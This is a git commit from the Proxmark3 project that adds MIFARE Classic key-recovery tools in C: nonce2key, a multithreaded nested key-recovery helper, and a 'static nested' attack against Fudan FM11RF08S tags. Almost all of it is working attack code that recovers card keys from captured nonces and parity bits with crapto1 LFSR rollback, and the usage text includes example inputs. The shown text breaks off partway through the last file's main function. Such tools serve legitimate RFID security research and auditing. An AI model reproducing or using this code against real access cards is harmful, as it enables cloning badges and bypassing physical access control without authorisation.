mirror of
https://github.com/RfidResearchGroup/proxmark3.git
synced 2025-08-14 10:37:23 -07:00
sort mfc tools
This commit is contained in:
parent
4e0d4d3ad4
commit
c47578c048
49 changed files with 143 additions and 175 deletions
13
tools/mfc/card_only/.gitignore
vendored
Normal file
13
tools/mfc/card_only/.gitignore
vendored
Normal file
|
@ -0,0 +1,13 @@
|
|||
nonce2key
|
||||
staticnested_0nt
|
||||
staticnested_1nt
|
||||
staticnested_2nt
|
||||
staticnested_2x1nt_rf08s_1key
|
||||
staticnested_2x1nt_rf08s
|
||||
nonce2key.exe
|
||||
staticnested_0nt.exe
|
||||
staticnested_1nt.exe
|
||||
staticnested_2nt.exe
|
||||
staticnested_2x1nt_rf08s_1key.exe
|
||||
staticnested_2x1nt_rf08s.exe
|
||||
keys*.dic
|
36
tools/mfc/card_only/Makefile
Normal file
36
tools/mfc/card_only/Makefile
Normal file
|
@ -0,0 +1,36 @@
|
|||
ROOTPATH = ../../..
|
||||
MYSRCPATHS = $(ROOTPATH)/common $(ROOTPATH)/common/crapto1
|
||||
MYSRCS = crypto1.c crapto1.c bucketsort.c nested_util.c
|
||||
MYINCLUDES = -I$(ROOTPATH)/include -I$(ROOTPATH)/common
|
||||
MYCFLAGS = -O3
|
||||
MYDEFS =
|
||||
|
||||
BINS = nonce2key staticnested_0nt staticnested_1nt staticnested_2nt staticnested_2x1nt_rf08s_1key staticnested_2x1nt_rf08s
|
||||
|
||||
INSTALLTOOLS = $(BINS)
|
||||
|
||||
include $(ROOTPATH)/Makefile.host
|
||||
|
||||
# nested_util.c needs pthread support. Older glibc needs it externally
|
||||
ifneq ($(SKIPPTHREAD),1)
|
||||
MYLDLIBS += -lpthread
|
||||
endif
|
||||
|
||||
# checking platform can be done only after Makefile.host
|
||||
ifneq (,$(findstring MINGW,$(platform)))
|
||||
# Mingw uses by default Microsoft printf, we want the GNU printf (e.g. for %z)
|
||||
# and setting _ISOC99_SOURCE sets internally __USE_MINGW_ANSI_STDIO=1
|
||||
CFLAGS += -D_ISOC99_SOURCE
|
||||
endif
|
||||
|
||||
# macOS doesn't like these compiler params
|
||||
ifneq ($(platform),Darwin)
|
||||
MYCFLAGS += --param max-completely-peeled-insns=1000 --param max-completely-peel-times=10000
|
||||
endif
|
||||
|
||||
nonce2key : $(OBJDIR)/nonce2key.o $(MYOBJS)
|
||||
staticnested_0nt : $(OBJDIR)/staticnested_0nt.o $(MYOBJS)
|
||||
staticnested_1nt : $(OBJDIR)/staticnested_1nt.o $(MYOBJS)
|
||||
staticnested_2nt : $(OBJDIR)/staticnested_2nt.o $(MYOBJS)
|
||||
staticnested_2x1nt_rf08s_1key : $(OBJDIR)/staticnested_2x1nt_rf08s_1key.o $(MYOBJS)
|
||||
staticnested_2x1nt_rf08s : $(OBJDIR)/staticnested_2x1nt_rf08s.o $(MYOBJS)
|
271
tools/mfc/card_only/nested_util.c
Normal file
271
tools/mfc/card_only/nested_util.c
Normal file
|
@ -0,0 +1,271 @@
|
|||
#include <stdio.h>
|
||||
#include <stdlib.h>
|
||||
#include <string.h>
|
||||
#include <time.h>
|
||||
#include <inttypes.h>
|
||||
#include <ctype.h>
|
||||
#include "parity.h"
|
||||
|
||||
#ifdef __WIN32
|
||||
#include "windows.h"
|
||||
#else
|
||||
#include "unistd.h"
|
||||
#endif
|
||||
|
||||
#include "pthread.h"
|
||||
#include "nested_util.h"
|
||||
|
||||
|
||||
#define MEM_CHUNK 10000
|
||||
#define TRY_KEYS 50
|
||||
|
||||
|
||||
typedef struct {
|
||||
uint64_t key;
|
||||
int count;
|
||||
} countKeys;
|
||||
|
||||
typedef struct {
|
||||
NtpKs1 *pNK;
|
||||
uint32_t authuid;
|
||||
|
||||
uint64_t *keys;
|
||||
uint32_t keyCount;
|
||||
|
||||
uint32_t startPos;
|
||||
uint32_t endPos;
|
||||
} RecPar;
|
||||
|
||||
inline static int compar_int(const void *a, const void *b) {
|
||||
if (*(uint64_t *)b == *(uint64_t *)a) return 0;
|
||||
if (*(uint64_t *)b < * (uint64_t *)a) return 1;
|
||||
return -1;
|
||||
}
|
||||
|
||||
// Compare countKeys structure
|
||||
static int compar_special_int(const void *a, const void *b) {
|
||||
return (((countKeys *)b)->count - ((countKeys *)a)->count);
|
||||
}
|
||||
|
||||
// keys qsort and unique.
|
||||
static countKeys *uniqsort(uint64_t *possibleKeys, uint32_t size) {
|
||||
unsigned int i, j = 0;
|
||||
int count = 0;
|
||||
countKeys *our_counts;
|
||||
|
||||
qsort(possibleKeys, size, sizeof(uint64_t), compar_int);
|
||||
|
||||
our_counts = calloc(size, sizeof(countKeys));
|
||||
if (our_counts == NULL) {
|
||||
printf("Memory allocation error for our_counts");
|
||||
exit(EXIT_FAILURE);
|
||||
}
|
||||
|
||||
for (i = 0; i < size; i++) {
|
||||
if (possibleKeys[i + 1] == possibleKeys[i]) {
|
||||
count++;
|
||||
} else {
|
||||
our_counts[j].key = possibleKeys[i];
|
||||
our_counts[j].count = count;
|
||||
j++;
|
||||
count = 0;
|
||||
}
|
||||
}
|
||||
qsort(our_counts, j, sizeof(countKeys), compar_special_int);
|
||||
return (our_counts);
|
||||
}
|
||||
|
||||
// nested decrypt
|
||||
static void *nested_revover(void *args) {
|
||||
struct Crypto1State *revstate, * revstate_start = NULL;
|
||||
uint64_t lfsr = 0;
|
||||
uint32_t i, kcount = 0;
|
||||
bool is_ok = true;
|
||||
|
||||
RecPar *rp = (RecPar *)args;
|
||||
|
||||
rp->keyCount = 0;
|
||||
rp->keys = NULL;
|
||||
|
||||
//printf("Start pos is %d, End pos is %d\r\n", rp->startPos, rp->endPos);
|
||||
|
||||
for (i = rp->startPos; i < rp->endPos; i++) {
|
||||
uint32_t nt_probe = rp->pNK[i].ntp ^ rp->authuid;
|
||||
uint32_t ks1 = rp->pNK[i].ks1;
|
||||
|
||||
/*
|
||||
printf(" ntp = %"PRIu32"\r\n", nt_probe);
|
||||
printf(" ks1 = %"PRIu32"\r\n", ks1);
|
||||
printf("\r\n");
|
||||
*/
|
||||
|
||||
// And finally recover the first 32 bits of the key
|
||||
revstate = lfsr_recovery32(ks1, nt_probe);
|
||||
if (revstate_start == NULL) {
|
||||
revstate_start = revstate;
|
||||
}
|
||||
|
||||
while ((revstate->odd != 0x0) || (revstate->even != 0x0)) {
|
||||
lfsr_rollback_word(revstate, nt_probe, 0);
|
||||
crypto1_get_lfsr(revstate, &lfsr);
|
||||
if (((kcount % MEM_CHUNK) == 0) || (kcount >= rp->keyCount)) {
|
||||
rp->keyCount += MEM_CHUNK;
|
||||
// printf("New chunk by %d, sizeof %lu\n", kcount, rp->keyCount * sizeof(uint64_t));
|
||||
void *tmp = realloc(rp->keys, rp->keyCount * sizeof(uint64_t));
|
||||
if (tmp == NULL) {
|
||||
printf("Memory allocation error for pk->possibleKeys");
|
||||
rp->keyCount = 0;
|
||||
is_ok = false;
|
||||
break;
|
||||
}
|
||||
rp->keys = (uint64_t *)tmp;
|
||||
}
|
||||
rp->keys[kcount] = lfsr;
|
||||
kcount++;
|
||||
revstate++;
|
||||
}
|
||||
--kcount;
|
||||
free(revstate_start);
|
||||
revstate_start = NULL;
|
||||
if (!is_ok) {
|
||||
break;
|
||||
}
|
||||
}
|
||||
if (is_ok) {
|
||||
if (kcount != 0) {
|
||||
rp->keyCount = kcount;
|
||||
void *tmp = (uint64_t *)realloc(rp->keys, rp->keyCount * sizeof(uint64_t));
|
||||
if (tmp == NULL) {
|
||||
printf("Memory allocation error for pk->possibleKeys");
|
||||
rp->keyCount = 0;
|
||||
free(rp->keys);
|
||||
} else {
|
||||
rp->keys = tmp;
|
||||
}
|
||||
}
|
||||
} else {
|
||||
rp->keyCount = 0;
|
||||
free(rp->keys);
|
||||
}
|
||||
return NULL;
|
||||
}
|
||||
|
||||
uint64_t *nested(NtpKs1 *pNK, uint32_t sizePNK, uint32_t authuid, uint32_t *keyCount) {
|
||||
#define THREAD_MAX 4
|
||||
|
||||
*keyCount = 0;
|
||||
uint32_t i, j, manyThread;
|
||||
uint64_t *keys = (uint64_t *)NULL;
|
||||
|
||||
manyThread = THREAD_MAX;
|
||||
if (manyThread > sizePNK) {
|
||||
manyThread = sizePNK;
|
||||
}
|
||||
|
||||
// pthread handle
|
||||
pthread_t *threads = calloc(sizePNK, sizeof(pthread_t));
|
||||
if (threads == NULL) return NULL;
|
||||
|
||||
// Param
|
||||
RecPar *pRPs = calloc(sizePNK, sizeof(RecPar));
|
||||
if (pRPs == NULL) {
|
||||
free(threads);
|
||||
return NULL;
|
||||
}
|
||||
|
||||
uint32_t average = sizePNK / manyThread;
|
||||
uint32_t modules = sizePNK % manyThread;
|
||||
|
||||
// Assign tasks
|
||||
for (i = 0, j = 0; i < manyThread; i++, j += average) {
|
||||
pRPs[i].pNK = pNK;
|
||||
pRPs[i].authuid = authuid;
|
||||
pRPs[i].startPos = j;
|
||||
pRPs[i].endPos = j + average;
|
||||
pRPs[i].keys = NULL;
|
||||
// last thread can decrypt more pNK
|
||||
if (i == (manyThread - 1) && modules > 0) {
|
||||
(pRPs[i].endPos) += modules;
|
||||
}
|
||||
pthread_create(&threads[i], NULL, nested_revover, &(pRPs[i]));
|
||||
}
|
||||
|
||||
for (i = 0; i < manyThread; i++) {
|
||||
// wait thread exit...
|
||||
pthread_join(threads[i], NULL);
|
||||
*keyCount += pRPs[i].keyCount;
|
||||
}
|
||||
free(threads);
|
||||
|
||||
if (*keyCount == 0) {
|
||||
printf("Didn't recover any keys.\r\n");
|
||||
free(pRPs);
|
||||
return NULL;
|
||||
}
|
||||
|
||||
keys = calloc((*keyCount) * sizeof(uint64_t), sizeof(uint8_t));
|
||||
if (keys == NULL) {
|
||||
printf("Cannot allocate memory to merge keys.\r\n");
|
||||
free(pRPs);
|
||||
return NULL;
|
||||
}
|
||||
|
||||
for (i = 0, j = 0; i < manyThread; i++) {
|
||||
if (pRPs[i].keyCount > 0) {
|
||||
// printf("The thread %d recover %d keys.\r\n", i, pRPs[i].keyCount);
|
||||
if (pRPs[i].keys != NULL) {
|
||||
memcpy(
|
||||
keys + j,
|
||||
pRPs[i].keys,
|
||||
pRPs[i].keyCount * sizeof(uint64_t)
|
||||
);
|
||||
j += pRPs[i].keyCount;
|
||||
free(pRPs[i].keys);
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
countKeys *ck = uniqsort(keys, *keyCount);
|
||||
free(keys);
|
||||
keys = (uint64_t *)NULL;
|
||||
*keyCount = 0;
|
||||
|
||||
if (ck == NULL) {
|
||||
printf("Cannot allocate memory for ck on uniqsort.");
|
||||
free(ck);
|
||||
free(pRPs);
|
||||
return NULL;
|
||||
}
|
||||
|
||||
for (i = 0; i < TRY_KEYS; i++) {
|
||||
// We don't known this key, try to break it
|
||||
// This key can be found here two or more times
|
||||
if (ck[i].count > 0) {
|
||||
*keyCount += 1;
|
||||
void *tmp = realloc(keys, sizeof(uint64_t) * (*keyCount));
|
||||
if (tmp == NULL) {
|
||||
printf("Cannot allocate memory for keys on merge.");
|
||||
free(ck);
|
||||
free(keys);
|
||||
free(pRPs);
|
||||
return NULL;
|
||||
}
|
||||
|
||||
keys = tmp;
|
||||
keys[*keyCount - 1] = ck[i].key;
|
||||
}
|
||||
}
|
||||
|
||||
free(ck);
|
||||
free(pRPs);
|
||||
return keys;
|
||||
}
|
||||
|
||||
// Return 1 if the nonce is invalid else return 0
|
||||
uint8_t valid_nonce(uint32_t Nt, uint32_t NtEnc, uint32_t Ks1, uint8_t *parity) {
|
||||
return (
|
||||
(oddparity8((Nt >> 24) & 0xFF) == ((parity[0]) ^ oddparity8((NtEnc >> 24) & 0xFF) ^ BIT(Ks1, 16))) && \
|
||||
(oddparity8((Nt >> 16) & 0xFF) == ((parity[1]) ^ oddparity8((NtEnc >> 16) & 0xFF) ^ BIT(Ks1, 8))) && \
|
||||
(oddparity8((Nt >> 8) & 0xFF) == ((parity[2]) ^ oddparity8((NtEnc >> 8) & 0xFF) ^ BIT(Ks1, 0)))
|
||||
) ? 1 : 0;
|
||||
}
|
15
tools/mfc/card_only/nested_util.h
Normal file
15
tools/mfc/card_only/nested_util.h
Normal file
|
@ -0,0 +1,15 @@
|
|||
#ifndef NESTED_H__
|
||||
#define NESTED_H__
|
||||
|
||||
#include "crapto1/crapto1.h"
|
||||
|
||||
typedef struct {
|
||||
uint32_t ntp;
|
||||
uint32_t ks1;
|
||||
} NtpKs1;
|
||||
|
||||
|
||||
uint8_t valid_nonce(uint32_t Nt, uint32_t NtEnc, uint32_t Ks1, uint8_t *parity);
|
||||
uint64_t *nested(NtpKs1 *pNK, uint32_t sizePNK, uint32_t authuid, uint32_t *keyCount);
|
||||
|
||||
#endif
|
58
tools/mfc/card_only/nonce2key.c
Normal file
58
tools/mfc/card_only/nonce2key.c
Normal file
|
@ -0,0 +1,58 @@
|
|||
#include "crapto1/crapto1.h"
|
||||
#define __STDC_FORMAT_MACROS
|
||||
#include <inttypes.h>
|
||||
#include <stdio.h>
|
||||
|
||||
int main(const int argc, const char *argv[]) {
|
||||
struct Crypto1State *state;
|
||||
uint32_t pos, uid, nt, nr, rr;
|
||||
uint8_t ks3x[8], par[8][8];
|
||||
uint64_t key_recovered;
|
||||
uint64_t par_info;
|
||||
uint64_t ks_info;
|
||||
nr = rr = 0;
|
||||
|
||||
if (argc < 5) {
|
||||
printf("\nsyntax: %s <uid> <nt> <par> <ks>\n", argv[0]);
|
||||
printf("example: %s 92c0456b 73294ab7 a3fbfb537343eb7b 070608090e060a02\n\n", argv[0]);
|
||||
return 1;
|
||||
}
|
||||
sscanf(argv[1], "%08x", &uid);
|
||||
sscanf(argv[2], "%08x", &nt);
|
||||
sscanf(argv[3], "%016" SCNx64, &par_info);
|
||||
sscanf(argv[4], "%016" SCNx64, &ks_info);
|
||||
|
||||
// Reset the last three significant bits of the reader nonce
|
||||
nr &= 0xffffff1f;
|
||||
|
||||
printf("\nuid(%08x) nt(%08x) par(%016" PRIx64 ") ks(%016" PRIx64 ")\n\n", uid, nt, par_info, ks_info);
|
||||
|
||||
for (pos = 0; pos < 8; pos++) {
|
||||
ks3x[7 - pos] = (ks_info >> (pos * 8)) & 0x0f;
|
||||
uint8_t bt = (par_info >> (pos * 8)) & 0xff;
|
||||
|
||||
for (uint8_t i = 0; i < 8; i++) {
|
||||
par[7 - pos][i] = (bt >> i) & 0x01;
|
||||
}
|
||||
}
|
||||
|
||||
printf("|diff|{nr} |ks3|ks3^5|parity |\n");
|
||||
printf("+----+--------+---+-----+---------------+\n");
|
||||
|
||||
for (uint8_t i = 0; i < 8; i++) {
|
||||
uint32_t nr_diff = nr | i << 5;
|
||||
printf("| %02x |%08x| %01x | %01x |", i << 5, nr_diff, ks3x[i], ks3x[i] ^ 5);
|
||||
|
||||
for (pos = 0; pos < 7; pos++)
|
||||
printf("%01x,", par[i][pos]);
|
||||
printf("%01x|\n", par[i][7]);
|
||||
}
|
||||
printf("+----+--------+---+-----+---------------+\n");
|
||||
|
||||
state = lfsr_common_prefix(nr, rr, ks3x, par, false);
|
||||
lfsr_rollback_word(state, uid ^ nt, 0);
|
||||
crypto1_get_lfsr(state, &key_recovered);
|
||||
printf("\nkey recovered: %012" PRIx64 "\n\n", key_recovered);
|
||||
crypto1_destroy(state);
|
||||
return 0;
|
||||
}
|
416
tools/mfc/card_only/staticnested_0nt.c
Normal file
416
tools/mfc/card_only/staticnested_0nt.c
Normal file
|
@ -0,0 +1,416 @@
|
|||
// Reused Keys Nested Attack against Fudan FM11RF08S tags
|
||||
//
|
||||
// Attack conditions:
|
||||
// * Know a first key, to be able to activate the nested authentication protocol
|
||||
// * The card must reuse some keys across several sectors. Or several cards of an infrastructure share the same key
|
||||
//
|
||||
// Strategy:
|
||||
// * Find all possible key candidates for one reference sector, and check on-the-fly if they are compatible with any other sector we want to compare with
|
||||
//
|
||||
// Doegox, 2024
|
||||
|
||||
#include <stdio.h>
|
||||
#include <stdlib.h>
|
||||
#include <string.h>
|
||||
#include <inttypes.h>
|
||||
#include <pthread.h>
|
||||
#include "common.h"
|
||||
#include "crapto1/crapto1.h"
|
||||
#include "parity.h"
|
||||
|
||||
#define NUM_THREADS 20
|
||||
#define BATCH_SIZE (8192 / NUM_THREADS)
|
||||
// oversized just in case...
|
||||
#define KEY_SPACE_SIZE ((1 << 16) * 4)
|
||||
// we expect intersection to be about 250-500 keys. Oversized just in case...
|
||||
#define KEY_SPACE_SIZE_STEP2 2000
|
||||
#define MAX_NR_NONCES 32
|
||||
|
||||
typedef struct {
|
||||
uint32_t ntp;
|
||||
uint32_t ks1;
|
||||
} NtpKs1;
|
||||
|
||||
typedef struct {
|
||||
uint32_t authuid;
|
||||
NtpKs1 *pNK;
|
||||
uint32_t sizeNK;
|
||||
uint32_t nt_enc;
|
||||
uint8_t nt_par_enc;
|
||||
} NtData;
|
||||
|
||||
typedef struct {
|
||||
NtData NtDataList[MAX_NR_NONCES];
|
||||
uint32_t nr_nonces;
|
||||
} NtpKs1List;
|
||||
|
||||
// Struct for thread data
|
||||
typedef struct {
|
||||
NtpKs1List *pNKL;
|
||||
uint32_t startPos;
|
||||
uint32_t endPos;
|
||||
uint32_t *keyCount[MAX_NR_NONCES];
|
||||
uint64_t *result_keys[MAX_NR_NONCES];
|
||||
uint32_t thread_id;
|
||||
pthread_mutex_t *keyCount_mutex[MAX_NR_NONCES];
|
||||
uint32_t num_nonces;
|
||||
} thread_data_t;
|
||||
|
||||
static uint32_t hex_to_uint32(const char *hex_str) {
|
||||
return (uint32_t)strtoul(hex_str, NULL, 16);
|
||||
}
|
||||
|
||||
static int bin_to_uint8_arr(const char *bin_str, uint8_t bit_arr[], uint8_t arr_size) {
|
||||
if (strlen(bin_str) != arr_size) {
|
||||
fprintf(stderr, "Error: Binary string (%s) length does not match array size (%i).\n", bin_str, arr_size);
|
||||
return 1;
|
||||
}
|
||||
|
||||
for (uint8_t i = 0; i < arr_size; i++) {
|
||||
if (bin_str[i] == '0') {
|
||||
bit_arr[i] = 0;
|
||||
} else if (bin_str[i] == '1') {
|
||||
bit_arr[i] = 1;
|
||||
} else {
|
||||
fprintf(stderr, "Error: Invalid character '%c' in binary string.\n", bin_str[i]);
|
||||
return 1;
|
||||
}
|
||||
}
|
||||
return 0;
|
||||
}
|
||||
|
||||
static uint8_t valid_nonce(uint32_t Nt, uint32_t ks1, uint8_t nt_par_enc) {
|
||||
return (oddparity8((Nt >> 24) & 0xFF) == (((nt_par_enc >> 3) & 1) ^ BIT(ks1, 16))) &&
|
||||
(oddparity8((Nt >> 16) & 0xFF) == (((nt_par_enc >> 2) & 1) ^ BIT(ks1, 8))) &&
|
||||
(oddparity8((Nt >> 8) & 0xFF) == (((nt_par_enc >> 1) & 1) ^ BIT(ks1, 0)));
|
||||
}
|
||||
|
||||
static bool search_match(NtData *pND, NtData *pND0, uint64_t key) {
|
||||
bool ret = 0;
|
||||
struct Crypto1State *s;
|
||||
s = crypto1_create(0);
|
||||
if (s == NULL) {
|
||||
fprintf(stderr, "\nMalloc error in search_match!\n");
|
||||
return 0;
|
||||
}
|
||||
crypto1_init(s, key);
|
||||
uint32_t authuid = pND->authuid;
|
||||
uint32_t nt_enc = pND->nt_enc;
|
||||
uint8_t nt_par_enc = pND->nt_par_enc;
|
||||
uint32_t nt = crypto1_word(s, nt_enc ^ authuid, 1) ^ nt_enc;
|
||||
// filter: we know nt should be valid, no need to spend time on other ones
|
||||
if (validate_prng_nonce(nt)) {
|
||||
// look for same nt
|
||||
for (uint32_t k = 0; k < pND->sizeNK; k++) {
|
||||
if (nt == pND->pNK[k].ntp) {
|
||||
// Possible match
|
||||
// filter: check the full 4 bits of parity (actually only the last one might be wrong)
|
||||
uint32_t ks1, ks2;
|
||||
uint8_t par1, par2, ksp;
|
||||
par1 = (oddparity8((nt >> 24) & 0xFF) << 3) | (oddparity8((nt >> 16) & 0xFF) << 2) | (oddparity8((nt >> 8) & 0xFF) << 1) | (oddparity8(nt & 0xFF));
|
||||
ks1 = nt ^ nt_enc;
|
||||
ks2 = crypto1_word(s, 0, 0);
|
||||
ksp = (((ks1 >> 16) & 1) << 3) | (((ks1 >> 8) & 1) << 2) | (((ks1 >> 0) & 1) << 1) | ((ks2 >> 24) & 1);
|
||||
par2 = nt_par_enc ^ ksp;
|
||||
|
||||
if (par1 != par2) {
|
||||
continue;
|
||||
}
|
||||
|
||||
// filter: same check on the full 4 bits of parity of initial nonce
|
||||
// check is slow so we do it only now
|
||||
crypto1_init(s, key);
|
||||
authuid = pND0->authuid;
|
||||
nt_enc = pND0->nt_enc;
|
||||
nt_par_enc = pND0->nt_par_enc;
|
||||
nt = crypto1_word(s, nt_enc ^ authuid, 1) ^ nt_enc;
|
||||
par1 = (oddparity8((nt >> 24) & 0xFF) << 3) | (oddparity8((nt >> 16) & 0xFF) << 2) | (oddparity8((nt >> 8) & 0xFF) << 1) | (oddparity8(nt & 0xFF));
|
||||
ks1 = nt ^ nt_enc;
|
||||
ks2 = crypto1_word(s, 0, 0);
|
||||
ksp = (((ks1 >> 16) & 1) << 3) | (((ks1 >> 8) & 1) << 2) | (((ks1 >> 0) & 1) << 1) | ((ks2 >> 24) & 1);
|
||||
par2 = nt_par_enc ^ ksp;
|
||||
if (par1 != par2) {
|
||||
continue;
|
||||
}
|
||||
|
||||
k = pND->sizeNK;
|
||||
ret = 1;
|
||||
}
|
||||
}
|
||||
}
|
||||
crypto1_destroy(s);
|
||||
return ret;
|
||||
}
|
||||
|
||||
static void *generate_and_intersect_keys(void *threadarg) {
|
||||
thread_data_t *data = (thread_data_t *)threadarg;
|
||||
NtpKs1List *pNKL = data->pNKL;
|
||||
uint32_t startPos = data->startPos;
|
||||
uint32_t endPos = data->endPos;
|
||||
uint32_t thread_id = data->thread_id;
|
||||
uint32_t num_nonces = data->num_nonces;
|
||||
|
||||
struct Crypto1State *revstate, *revstate_start = NULL;
|
||||
uint64_t lfsr = 0;
|
||||
|
||||
uint32_t authuid = pNKL->NtDataList[0].authuid;
|
||||
for (uint32_t i = startPos; i < endPos; i++) {
|
||||
uint32_t ntp = pNKL->NtDataList[0].pNK[i].ntp;
|
||||
uint32_t ks1 = pNKL->NtDataList[0].pNK[i].ks1;
|
||||
uint32_t nt_probe = ntp ^ authuid;
|
||||
|
||||
revstate = lfsr_recovery32(ks1, nt_probe);
|
||||
if (revstate == NULL) {
|
||||
fprintf(stderr, "\nMalloc error in generate_and_intersect_keys!\n");
|
||||
pthread_exit(NULL);
|
||||
}
|
||||
if (revstate_start == NULL) {
|
||||
revstate_start = revstate;
|
||||
}
|
||||
uint32_t keyCount0 = 0;
|
||||
while ((revstate->odd != 0x0) || (revstate->even != 0x0)) {
|
||||
lfsr_rollback_word(revstate, nt_probe, 0);
|
||||
crypto1_get_lfsr(revstate, &lfsr);
|
||||
keyCount0++;
|
||||
for (uint32_t nonce_index = 1; nonce_index < num_nonces; nonce_index++) {
|
||||
if (search_match(&pNKL->NtDataList[nonce_index], &pNKL->NtDataList[0], lfsr)) {
|
||||
pthread_mutex_lock(data->keyCount_mutex[nonce_index]);
|
||||
data->result_keys[nonce_index][*data->keyCount[nonce_index]] = lfsr;
|
||||
(*data->keyCount[nonce_index])++;
|
||||
pthread_mutex_unlock(data->keyCount_mutex[nonce_index]);
|
||||
if (*data->keyCount[nonce_index] == KEY_SPACE_SIZE_STEP2) {
|
||||
fprintf(stderr, "No space left on result_keys[%d], abort!\n", nonce_index);
|
||||
i = endPos;
|
||||
break;
|
||||
}
|
||||
}
|
||||
}
|
||||
revstate++;
|
||||
}
|
||||
free(revstate_start);
|
||||
revstate_start = NULL;
|
||||
|
||||
pthread_mutex_lock(data->keyCount_mutex[0]);
|
||||
(*data->keyCount[0]) += keyCount0;
|
||||
keyCount0 = 0;
|
||||
pthread_mutex_unlock(data->keyCount_mutex[0]);
|
||||
|
||||
if ((i != startPos) && ((i - startPos) % ((endPos - startPos) / 20) == 0)) { // every 5%
|
||||
printf("\rThread %3i %3i%%", thread_id, (i - startPos) * 100 / (endPos - startPos));
|
||||
printf(" keys[%d]:%9i", 0, *data->keyCount[0]);
|
||||
for (uint32_t nonce_index = 1; nonce_index < num_nonces; nonce_index++) {
|
||||
printf(" keys[%d]:%5i", nonce_index, *data->keyCount[nonce_index]);
|
||||
}
|
||||
fflush(stdout);
|
||||
}
|
||||
}
|
||||
|
||||
pthread_exit(NULL);
|
||||
}
|
||||
|
||||
static uint64_t **unpredictable_nested(NtpKs1List *pNKL, uint32_t keyCounts[]) {
|
||||
pthread_t threads[NUM_THREADS];
|
||||
thread_data_t thread_data[NUM_THREADS];
|
||||
pthread_mutex_t keyCount_mutex[MAX_NR_NONCES];
|
||||
|
||||
uint64_t **result_keys = (uint64_t **)malloc(MAX_NR_NONCES * sizeof(uint64_t *));
|
||||
// no result_keys[0] stored, would be too large
|
||||
for (uint32_t i = 1; i < MAX_NR_NONCES; i++) {
|
||||
result_keys[i] = (uint64_t *)malloc(KEY_SPACE_SIZE_STEP2 * sizeof(uint64_t));
|
||||
keyCounts[i] = 0;
|
||||
pthread_mutex_init(&keyCount_mutex[i], NULL);
|
||||
}
|
||||
|
||||
uint32_t average = pNKL->NtDataList[0].sizeNK / NUM_THREADS;
|
||||
uint32_t modulo = pNKL->NtDataList[0].sizeNK % NUM_THREADS;
|
||||
for (uint32_t t = 0, j = 0; t < NUM_THREADS; t++, j += average) {
|
||||
thread_data[t].pNKL = pNKL;
|
||||
thread_data[t].startPos = j;
|
||||
thread_data[t].endPos = j + average;
|
||||
for (uint32_t i = 0; i < MAX_NR_NONCES; i++) {
|
||||
thread_data[t].result_keys[i] = result_keys[i];
|
||||
thread_data[t].keyCount[i] = &keyCounts[i];
|
||||
thread_data[t].keyCount_mutex[i] = &keyCount_mutex[i];
|
||||
}
|
||||
thread_data[t].thread_id = t;
|
||||
thread_data[t].num_nonces = pNKL->nr_nonces;
|
||||
// last thread can decrypt more pNK
|
||||
if (t == (NUM_THREADS - 1) && modulo > 0) {
|
||||
thread_data[t].endPos += modulo;
|
||||
}
|
||||
pthread_create(&threads[t], NULL, generate_and_intersect_keys, (void *)&thread_data[t]);
|
||||
}
|
||||
printf("All threads spawn...\n");
|
||||
|
||||
for (uint32_t t = 0; t < NUM_THREADS; t++) {
|
||||
pthread_join(threads[t], NULL);
|
||||
}
|
||||
|
||||
// no result_keys[0]
|
||||
for (uint32_t i = 1; i < MAX_NR_NONCES; i++) {
|
||||
if (keyCounts[i] == 0) {
|
||||
free(result_keys[i]);
|
||||
result_keys[i] = NULL;
|
||||
}
|
||||
}
|
||||
|
||||
return result_keys;
|
||||
}
|
||||
|
||||
// Function to compare keys and keep track of their occurrences
|
||||
static void analyze_keys(uint64_t **keys, uint32_t keyCounts[MAX_NR_NONCES], uint32_t nr_nonces) {
|
||||
// Assuming the maximum possible keys
|
||||
#define MAX_KEYS (MAX_NR_NONCES * KEY_SPACE_SIZE_STEP2)
|
||||
uint64_t combined_keys[MAX_KEYS] = {0};
|
||||
uint32_t combined_counts[MAX_KEYS] = {0};
|
||||
uint32_t combined_length = 0;
|
||||
|
||||
printf("Analyzing keys...\n");
|
||||
for (uint32_t i = 0; i < nr_nonces; i++) {
|
||||
if (i==0) {
|
||||
printf("nT(%i): %i key candidates\n", i, keyCounts[i]);
|
||||
continue;
|
||||
} else {
|
||||
printf("nT(%i): %i key candidates matching nT(0)\n", i, keyCounts[i]);
|
||||
}
|
||||
for (uint32_t j = 0; j < keyCounts[i]; j++) {
|
||||
uint64_t key = keys[i][j];
|
||||
// Check if key is already in combined_keys
|
||||
bool found = false;
|
||||
for (uint32_t k = 0; k < combined_length; k++) {
|
||||
if (combined_keys[k] == key) {
|
||||
combined_counts[k]++;
|
||||
found = true;
|
||||
break;
|
||||
}
|
||||
}
|
||||
// If key not found, add it to combined_keys
|
||||
if (!found) {
|
||||
combined_keys[combined_length] = key;
|
||||
combined_counts[combined_length] = 1;
|
||||
combined_length++;
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
for (uint32_t i = 0; i < combined_length; i++) {
|
||||
if (combined_counts[i] > 1) {
|
||||
printf("Key %012" PRIx64 " found in %d arrays: 0", combined_keys[i], combined_counts[i]+1);
|
||||
for (uint32_t ii = 1; ii < nr_nonces; ii++) {
|
||||
for (uint32_t j = 0; j < keyCounts[ii]; j++) {
|
||||
if (combined_keys[i] == keys[ii][j]) {
|
||||
printf(", %2i", ii);
|
||||
}
|
||||
}
|
||||
}
|
||||
printf("\n");
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
int main(int argc, char *const argv[]) {
|
||||
if (argc < 2) {
|
||||
int cmdlen = strlen(argv[0]);
|
||||
printf("Usage:\n %s <uid1> <nt_enc1> <nt_par_err1> <uid2> <nt_enc2> <nt_par_err2> ...\n", argv[0]);
|
||||
printf(" UID placeholder: if uid(n)==uid(n-1) you can use '.' as uid(n+1) placeholder\n");
|
||||
printf(" parity example: if nt in trace is 7b! fc! 7a! 5b , then nt_enc is 7bfc7a5b and nt_par_err is 1110\n");
|
||||
printf("Example:\n");
|
||||
printf(" %*s a13e4902 2e9e49fc 1111 . 7bfc7a5b 1110 a17e4902 50f2abc2 1101\n", cmdlen, argv[0]);
|
||||
printf(" %*s +uid1 | | +uid2=uid1 | +uid3 | |\n", cmdlen, "");
|
||||
printf(" %*s +nt_enc1 | +nt_enc2 | +nt_enc3 |\n", cmdlen, "");
|
||||
printf(" %*s +nt_par_err1 +nt_par_err2 +nt_par_err3\n", cmdlen, "");
|
||||
return 1;
|
||||
}
|
||||
if (argc < 1 + 2 * 3) {
|
||||
fprintf(stderr, "Too few nonces, abort. Need 2 nonces min.\n");
|
||||
return 1;
|
||||
}
|
||||
